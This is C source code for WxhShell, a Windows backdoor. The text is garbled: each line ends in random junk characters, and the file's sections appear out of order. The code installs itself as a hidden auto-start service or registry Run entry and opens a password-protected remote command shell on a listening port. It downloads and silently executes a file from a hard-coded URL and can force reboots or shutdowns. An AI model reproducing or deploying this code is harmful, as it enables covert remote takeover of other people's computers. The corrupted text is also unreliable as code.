DWORD AffinityMask; Yjix]lUXVf
DWORD BasePriority; XXC(R
ULONG UniqueProcessId; Cm[^+.=I
ULONG InheritedFromUniqueProcessId; sU;aA0kz
} PROCESS_BASIC_INFORMATION; j/w*2+&v
lU% L
PROCNTQSIP NtQueryInformationProcess; ]L9$JTGF`w
{KM5pK?,BJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'L ]k\GO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H05U{vR
K6e_RzP,.w
HANDLE hProcess; mW_ N-z
PROCESS_BASIC_INFORMATION pbi; ;09U*S$eK
o|c%uw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S01Bc
if(NULL == hInst ) return 0; 'v_VyK*w
5hE mXZ%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fz`\-"f]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LABLT;c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yn KgNi
T|ZJ$E0
if (!NtQueryInformationProcess) return 0; o7t#yw3
}XIUz|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^3w
>:4m
if(!hProcess) return 0; |f<-lB[k
HbQ+:B]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #~:@H&f790
o :_'R5
CloseHandle(hProcess); afj[HJbY
t^(wbC
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^.(i!BG'
if(hProcess==NULL) return 0; ^y3snuLtE
+4m~D`fqt[
HMODULE hMod; uz[5h0c
char procName[255]; mNnt9F3Eq
unsigned long cbNeeded; d9yfSZ
f>jAu;S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Un5Y[FZo
_J-3{a
CloseHandle(hProcess); `T~~yM)q
rd!4u14
if(strstr(procName,"services")) return 1; // 以服务启动 g;t>jgX
G|.5.FK^
return 0; // 注册表启动 !;COFR
} s.KHm
L3
ew\ZF qA;
// 主模块 Q*l_QnfG
int StartWxhshell(LPSTR lpCmdLine) LM?UV)
{ 8ZvozQE
SOCKET wsl; wU)vJsOq
BOOL val=TRUE; +N>&b%
int port=0; oO~LiK>
struct sockaddr_in door; @/0-`Y@?
^{w]r5d
if(wscfg.ws_autoins) Install(); ;_?RPWZ;MO
o+
0"@B
port=atoi(lpCmdLine); LSW1,}/B
+6+!M_0wA
if(port<=0) port=wscfg.ws_port; 2JS&zF
_S;Fs|p_
WSADATA data; j3)fmlA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UsBtk
j5]6CG_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l[Rl:k!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0ntf%#2{
door.sin_family = AF_INET; = ,^eQZR:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =RH7 j
door.sin_port = htons(port); 3( `NHS~h
O'~;|-Z<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;&MI
M`&$
closesocket(wsl); WwYy[3U
return 1; 9#ZR0t.cY
} x,>r}I>^Q
cuW&X9\m,
if(listen(wsl,2) == INVALID_SOCKET) { P*zOt]T
closesocket(wsl); B|(M xR6m
return 1; ?Z[`sm
} QocR)aN=+
Wxhshell(wsl); Qg' {RAV8
WSACleanup(); 2fv`O
0N(o)WRv
return 0; Kzz]ZO*3
!e0~|8
} yttIA/
tf_<w?~
// 以NT服务方式启动 J'no{3Ktz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d-sK{ZC"y
{ T`gR&n<D
DWORD status = 0; XlHt(d0h
DWORD specificError = 0xfffffff; 1T@#gE["Ic
n#lZRwhq
serviceStatus.dwServiceType = SERVICE_WIN32; ^-GzWT
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M5>cYVG
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t?<pyw $
serviceStatus.dwWin32ExitCode = 0; 7"0l>0 \
serviceStatus.dwServiceSpecificExitCode = 0; k x26nDT(
serviceStatus.dwCheckPoint = 0; {e'V^l.v
serviceStatus.dwWaitHint = 0; +ZK12D}
lay)I11->
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,2?S ua/LD
if (hServiceStatusHandle==0) return; )S2GPn7
7U_OUUg
status = GetLastError(); |SfmQ;
if (status!=NO_ERROR) 9et%Hn.K'
{ N5\]VCX
serviceStatus.dwCurrentState = SERVICE_STOPPED; @XRN#_{
serviceStatus.dwCheckPoint = 0; iR(jCD?) Y
serviceStatus.dwWaitHint = 0; ,/bv3pE
serviceStatus.dwWin32ExitCode = status; n~|sMpd,M1
serviceStatus.dwServiceSpecificExitCode = specificError; 01/yog
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _BP!{~&;
return; m"y_@Jk
} L?slIGp%-
-U#e
serviceStatus.dwCurrentState = SERVICE_RUNNING; TaI72"8
serviceStatus.dwCheckPoint = 0; #2\
0#HN
serviceStatus.dwWaitHint = 0; xpjv@P
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aHdXlmL
} 3(n+5~{e
<1(j&U
// 处理NT服务事件,比如:启动、停止 =@EX!]=x
VOID WINAPI NTServiceHandler(DWORD fdwControl) (h3f$
{ ?z$^4u3
switch(fdwControl) IGC:zZ~z
{ O${B)C,
case SERVICE_CONTROL_STOP: N,M[Opm
serviceStatus.dwWin32ExitCode = 0; LWp#i8,
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]= nM|e
serviceStatus.dwCheckPoint = 0; TCI%Ox|a
serviceStatus.dwWaitHint = 0; 1P[[PvkD6
{ /3pvq%i
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K~DQUmU@
} ]
3UlF'{
return; AYnk.H-v
case SERVICE_CONTROL_PAUSE: -cqR]'u
serviceStatus.dwCurrentState = SERVICE_PAUSED; 9p{7x[ C
break; "Smek#l
case SERVICE_CONTROL_CONTINUE: dnW #"
serviceStatus.dwCurrentState = SERVICE_RUNNING; g4-UBDtYt
break; K[~fpQGbV1
case SERVICE_CONTROL_INTERROGATE: mv;;0xH
break; -{ M(1vV(=
}; Hk8pKpn3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `C +>PCO
} O<KOsu1WW
fCa*#ME
// 标准应用程序主函数 }cPH}[$zF
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ljw(cUM
{ -h?ed'e/zz
6b6rM%B.oD
// 获取操作系统版本 EFqYEDXW
OsIsNt=GetOsVer(); )W1tBi
GetModuleFileName(NULL,ExeFile,MAX_PATH); D`e6#1DbJ
4ZAnq{nR4
// 从命令行安装 uKL4cr@
if(strpbrk(lpCmdLine,"iI")) Install(); @j/|U04_Z
f%2>pQTq@)
// 下载执行文件 xh) h#p.
if(wscfg.ws_downexe) { nB .?=eUa
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aI'MVKwMk
WinExec(wscfg.ws_filenam,SW_HIDE); TyG;BF|rwk
} UcI;(Va
b|'{f?
if(!OsIsNt) { ,K>q{H^
// 如果时win9x,隐藏进程并且设置为注册表启动 aViZKps`m
HideProc(); (SnrYO`#
StartWxhshell(lpCmdLine); 41Nm+$m
} zD z"Dn9
else ;?K>dWf3f
if(StartFromService()) }S,KUH.
// 以服务方式启动 2QN ~E
StartServiceCtrlDispatcher(DispatchTable); zlhHSy K
else nQ5N\RAZ
// 普通方式启动 z 7
s&7)a
StartWxhshell(lpCmdLine); J%mtlA
C1ZuDL)e
return 0; h:3^FV
} LeTOVgjA|
)U5Ba^"fI
}JlrWJRi
EK=PY
=========================================== 7q;wj~
Q]7}"B&
L55VS:'
pX LXkF?
S+*g
ZKp9k6
" T5gL
#P)(/>nF
#include <stdio.h> u P&<
#include <string.h> Mr6 q7
#include <windows.h> l?Qbwv}
#include <winsock2.h> D]StDOmM
#include <winsvc.h> "t!_bma
#include <urlmon.h> "eb+O
XKQ\Ts2<k
#pragma comment (lib, "Ws2_32.lib") P'<D0
#pragma comment (lib, "urlmon.lib") 31)eDs
_>=QZ`!r
#define MAX_USER 100 // 最大客户端连接数 'U/X<LCl
#define BUF_SOCK 200 // sock buffer (BG
wBL
#define KEY_BUFF 255 // 输入 buffer >= VCKN2'j
nSR<( -j!
#define REBOOT 0 // 重启 1 LUvs~Qu
#define SHUTDOWN 1 // 关机 *ud/'HR8]
t8_i[Hw6D
#define DEF_PORT 5000 // 监听端口 )~LqBh
>9i%Yuy](
#define REG_LEN 16 // 注册表键长度 L_{gM`UFc
#define SVC_LEN 80 // NT服务名长度 e]k\dj;,^%
,E3Ze*(U
// 从dll定义API ^EFVjGM
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fB"It~ p
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |Zm'! -_
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JuM4Njz|
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O;CC(
1}XESAX;0
// wxhshell配置信息 u|EHe"V"
struct WSCFG { 1P6!E*z\
int ws_port; // 监听端口 vL
]z3
char ws_passstr[REG_LEN]; // 口令 e4<[|B!O
int ws_autoins; // 安装标记, 1=yes 0=no o)r%4YOL
char ws_regname[REG_LEN]; // 注册表键名 x4^*YZc$,
char ws_svcname[REG_LEN]; // 服务名 qtYVX:M@,
char ws_svcdisp[SVC_LEN]; // 服务显示名 h'|J$
char ws_svcdesc[SVC_LEN]; // 服务描述信息 gWLhO|y
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Dxp.b$0t
int ws_downexe; // 下载执行标记, 1=yes 0=no *h)|Ks
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s.j6"
Q[W
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ywkyxt
%XiF7<A&
}; /Ps5Og
-(1GmU5v(
// default Wxhshell configuration D9/PVd
struct WSCFG wscfg={DEF_PORT, OkfnxknZ|
"xuhuanlingzhe", qku}cWD9/_
1, -kkpEw\
"Wxhshell", _<m yM2z
"Wxhshell", yDmx)^En
"WxhShell Service", \l71Q/y6u`
"Wrsky Windows CmdShell Service", H*R4A E0
"Please Input Your Password: ", XZH\HK)K-]
1, k?VH4yA
"http://www.wrsky.com/wxhshell.exe", .z}*!
"Wxhshell.exe" *)xjMTJ%
}; dQ`=CIr
O;H|nW}
// 消息定义模块 m>&:)K}m
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rfHAz
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1|/-Ff"1@
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F|!
ib5
char *msg_ws_ext="\n\rExit."; F7lzc)
char *msg_ws_end="\n\rQuit."; 56 [+;*
char *msg_ws_boot="\n\rReboot..."; 6H'W]T&
char *msg_ws_poff="\n\rShutdown..."; }+dDGFk
char *msg_ws_down="\n\rSave to "; 3\E G
(y!V0iy]
char *msg_ws_err="\n\rErr!"; L7OFZ|gUz
char *msg_ws_ok="\n\rOK!"; kS1?%E,)q
<BX'Owbs!O
char ExeFile[MAX_PATH]; ukwO%JAr
int nUser = 0; vHM,_I{
HANDLE handles[MAX_USER]; s~n@|m9k
int OsIsNt; ^udl&>
3u@=]0ZN
SERVICE_STATUS serviceStatus; 0$:jZ/._
SERVICE_STATUS_HANDLE hServiceStatusHandle; z 8y.@<6
y41,T&ja
// 函数声明 5Zy%Nam'gN
int Install(void); AZf$XHP2
int Uninstall(void); +XoY@|Djd
int DownloadFile(char *sURL, SOCKET wsh); =kDh: &u%
int Boot(int flag); +Vw]DLWR
void HideProc(void); eYD -8*
int GetOsVer(void); 6O|
rI>D
int Wxhshell(SOCKET wsl); CA]u3bf~
void TalkWithClient(void *cs); 2kW*Z7@D
int CmdShell(SOCKET sock); GB8>R
int StartFromService(void); Y@2v/O,\
int StartWxhshell(LPSTR lpCmdLine); ;Yu|LaI\<m
,ocAB;K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i>{.Y};
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1^AG/w
DM=`hyf(v
// 数据结构和表定义 (Q[(] dfc
SERVICE_TABLE_ENTRY DispatchTable[] = A?4s+A@Eg
{ 1;"DIsz@d
{wscfg.ws_svcname, NTServiceMain}, &b9bb{y_$K
{NULL, NULL} x't@Mc
}; ?AYb@&%
B'8T+qvA
// 自我安装 |DkK7gw
int Install(void) M&J$9X
{ 'h3yxf}\
char svExeFile[MAX_PATH]; r O-=):2
HKEY key; K_o[m!:jU
strcpy(svExeFile,ExeFile); u5rHQA0%
YlJ_$Q[
// 如果是win9x系统,修改注册表设为自启动 Ngw/H)<c
if(!OsIsNt) { Apbgm[m|{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RhD
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z#Db~
RegCloseKey(key); |"i"8~/@<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0@/C5 v
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rq![a};~
RegCloseKey(key); 82KWe=
return 0; UoOxGo
} <RJ+f-
} (,;4f7\
} /j"aOLL|
else { 8[L]w^
q"Th\? }%
// 如果是NT以上系统,安装为系统服务 6L, "gF<n
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s7"5NU-
if (schSCManager!=0) s}g3*_"
{ |oX1J<LM
SC_HANDLE schService = CreateService o[B"J96b
( O~4Q:#^c
schSCManager, *yqke<o9)
wscfg.ws_svcname, Wo7`gf_ (
wscfg.ws_svcdisp, tJ9gwx7Pg
SERVICE_ALL_ACCESS, ZYs?65.
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <8YIQA
SERVICE_AUTO_START, !P@4d G
SERVICE_ERROR_NORMAL, u]MQ(@HHF
svExeFile, Z}yd`7
NULL, S t;@ZV
NULL, SdNxSD$Q
NULL, RW|Xh8.O
NULL, S0H|:J
NULL vpz l{
); (7w95xI
if (schService!=0) 6wH:jd9,
{ Ls/*&u
CloseServiceHandle(schService); NuR3]Ja\0
CloseServiceHandle(schSCManager); tOxTiaa=
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 04#<qd&ob@
strcat(svExeFile,wscfg.ws_svcname); Tl L\&n.$
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j|%>NB ):
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9=.7[-6i9
RegCloseKey(key); }.r)
return 0; dfWtLY
} BY>]6SrP
} `2hLs _
CloseServiceHandle(schSCManager); n*r Xj{Kt
} VYnB&3%DF
} u]sxX")
c]A @'{7
return 1; zvR;Tl6]
} o,[Em<
~mC>G 4y$a
// 自我卸载 Dn:1Mtj-
int Uninstall(void) _71&".A
{ Q=t_m(:0
HKEY key; cf%aOHYI*
E'^ny4gL
if(!OsIsNt) { 8u7QF4
Id
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9gac7(2`)
RegDeleteValue(key,wscfg.ws_regname); He1~27+99
RegCloseKey(key); 3hfv^H
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5,9cD`WR^
RegDeleteValue(key,wscfg.ws_regname); <z8z\4Hz
RegCloseKey(key); cK\'D
return 0; %|B$y;q^3
} )0zg1z
} gf70 O>E
} &Y1RPO41J
else { z-^/<u1p
ta0 ;:o?/d
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qJ[wVNHh!
if (schSCManager!=0) Oar%LSkPRz
{ ,:%
h`P_
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {hVc,\A
if (schService!=0) : eFyd`Syw
{ ~~}8D"
if(DeleteService(schService)!=0) { /Nns3oE
CloseServiceHandle(schService); %e+{wU}w?2
CloseServiceHandle(schSCManager); E&>;a!0b]
return 0; L~*nI d
} T@mYHKu
CloseServiceHandle(schService); Mo]aB:a
} >%A~ :
CloseServiceHandle(schSCManager); y(X^wC
} S^{tRPF%d
} c3(0BSv
s:ojlmPb
return 1; &'u%|A@
} ';LsEI[
<K
<|G
// 从指定url下载文件 <SiJA`(7
int DownloadFile(char *sURL, SOCKET wsh) Lw`}o` D
{ *1h@Jb34
HRESULT hr; 0u
bf]Z
char seps[]= "/"; SK5__Ix
char *token; zvwv7JtB
char *file; :PNhX2F
char myURL[MAX_PATH]; vHN/~k#
char myFILE[MAX_PATH]; \m(>Q
MbeK{8~E%l
strcpy(myURL,sURL);
&?#
YjU"
token=strtok(myURL,seps); #>2cfZ`6'J
while(token!=NULL) JPpNCC.b
{ \`W8#fob
file=token; ]L?WC
token=strtok(NULL,seps); I5E+=.T*ar
} et<@3wyd]
]F #0to
GetCurrentDirectory(MAX_PATH,myFILE); d?><+!a
strcat(myFILE, "\\"); |nY+Nen7
strcat(myFILE, file); ~?B\+6<V
send(wsh,myFILE,strlen(myFILE),0); #J~xKyJi'
send(wsh,"...",3,0); ;}'Z2gZB
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q}uh`?t
if(hr==S_OK) !,{-q)'D
return 0; -BH T'zq1S
else \~.elKw<U
return 1; n<Ki.;-ZE
U["IXR#
} J]|S0JC`
2[Xe:)d
// 系统电源模块 06I(01M1
int Boot(int flag) USH>`3
{ +1Pu29B0
HANDLE hToken; G$s=P
TOKEN_PRIVILEGES tkp; 0oo_m6ie&
m}+_z^@j9
if(OsIsNt) { lM.k*`$
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kir|in)r0
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SDO~g ~NTp
tkp.PrivilegeCount = 1; OT#foP
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tj=@5lj0
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |T{ZDJ+
if(flag==REBOOT) { 5#::42oE
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iOiXo6YE
return 0; Hnf?`j>
} Z|j\_VKhl
else { p7[&H